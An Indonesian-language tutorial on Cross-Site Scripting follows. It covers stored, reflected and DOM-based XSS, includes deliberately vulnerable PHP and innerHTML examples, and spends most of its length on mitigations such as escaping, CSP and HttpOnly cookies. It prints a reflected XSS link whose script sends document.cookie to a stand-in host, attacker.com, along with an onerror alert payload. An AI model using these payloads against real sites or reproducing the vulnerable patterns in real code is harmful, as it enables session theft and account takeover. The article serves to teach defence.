Cross-Site Scripting (XSS): Cara Kerja, Contoh Eksploitasi, dan Strategi Mitigasi

Pendahuluan

Cross-Site Scripting (XSS) masih menjadi salah satu kerentanan paling sering ditemukan di aplikasi web modern, bahkan menempati posisi teratas dalam OWASP Top 10 selama bertahun-tahun. Serangan ini memungkinkan penyerang menyuntikkan kode JavaScript berbahaya ke halaman yang dilihat korban, sehingga dapat mencuri cookie session, membajak akun, hingga mengubah tampilan halaman secara diam-diam. Artikel ini membahas cara kerja XSS, demonstrasi eksploitasi, dan langkah mitigasi yang bisa langsung diterapkan.

Pembahasan: Bagaimana XSS Bekerja

Pada dasarnya, XSS terjadi ketika aplikasi menerima input dari pengguna lalu menampilkannya kembali ke browser tanpa encoding atau validasi yang tepat. Browser tidak bisa membedakan apakah script tersebut berasal dari developer atau dari penyerang, sehingga kode jahat ikut dieksekusi dengan hak akses yang sama seperti halaman aslinya.

XSS dibagi menjadi tiga jenis utama: Stored XSS (payload tersimpan permanen di database, misalnya di kolom komentar), Reflected XSS (payload dipantulkan lewat parameter URL), dan DOM-based XSS (manipulasi DOM di sisi klien tanpa melibatkan server).

Contoh Implementasi & Demonstrasi Eksploitasi

Berikut contoh endpoint PHP yang rentan terhadap Reflected XSS:

<?php
// src/search.php — RENTAN
$keyword = $_GET['q'] ?? '';
echo "<p>Hasil pencarian untuk: " . $keyword . "</p>";
?>

Jika penyerang mengirim tautan berikut kepada korban, script akan dieksekusi di browser korban:

https://example.com/search.php?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Pada contoh JavaScript berikut, penggunaan innerHTML untuk merender data dari API juga membuka celah DOM-based XSS:

// RENTAN — hindari innerHTML untuk data dinamis
const el = document.getElementById('profile');
el.innerHTML = '<h3>' + user.bio + '</h3>';

Jika user.bio berisi <img src=x onerror=alert(1)>, payload tersebut ikut dieksekusi.

Analisis Keamanan

Dampak XSS jauh lebih besar daripada sekadar pop-up alert. Penyerang dapat membaca token pada localStorage, mengirim permintaan berbahaya atas nama korban, mencatat keystroke, atau memasang form phishing palsu di atas halaman asli. Karena script berjalan pada origin yang dipercaya, browser tidak akan memblokirnya. Itulah alasan XSS sering dijuluki "the sleeping giant" — sangat mudah diremehkan namun berbahaya.

Cara Pencegahan dan Mitigasi

1. Output Encoding / Escaping. Selalu escape data sesuai konteksnya (HTML, atribut, JavaScript, URL). Gunakan fungsi built-in framework:

<?php
// AMAN — escape sebelum ditampilkan
echo "<p>Hasil pencarian untuk: " . htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8') . "</p>";

// AMAN — gunakan textContent, bukan innerHTML
const el = document.getElementById('profile');
const h3 = document.createElement('h3');
h3.textContent = user.bio;
el.appendChild(h3);

2. Content Security Policy (CSP). Batasi sumber script yang boleh dieksekusi, misalnya script-src 'self' https://cdn.trusted.com. CSP menjadi pertahanan berlapis ketika escaping gagal.

3. Atribut cookie yang aman. Setel HttpOnly dan Secure agar cookie session tidak dapat diakses lewat JavaScript.

4. Sanitasi HTML. Jika benar-benar harus merender HTML, gunakan library seperti DOMPurify, dan jangan pernah pakai dangerouslySetInnerHTML tanpa sanitasi.

5. Auto-escaping framework. React, Vue, serta template engine seperti Twig dan Blade sudah melakukan escaping otomatis; jangan mem-bypass-nya tanpa alasan kuat.

Kesimpulan

XSS adalah ancaman nyata yang lahir dari kebiasaan menampilkan input pengguna tanpa pengolahan. Kunci mitigasinya sederhana namun harus konsisten: escape data sesuai konteks, gunakan API DOM yang aman seperti textContent, terapkan CSP sebagai lapisan tambahan, dan setel cookie dengan HttpOnly. Dengan memahami cara kerja celah ini sejak awal, developer dapat membangun aplikasi yang lebih resilient tanpa menambah kompleksitas berlebihan.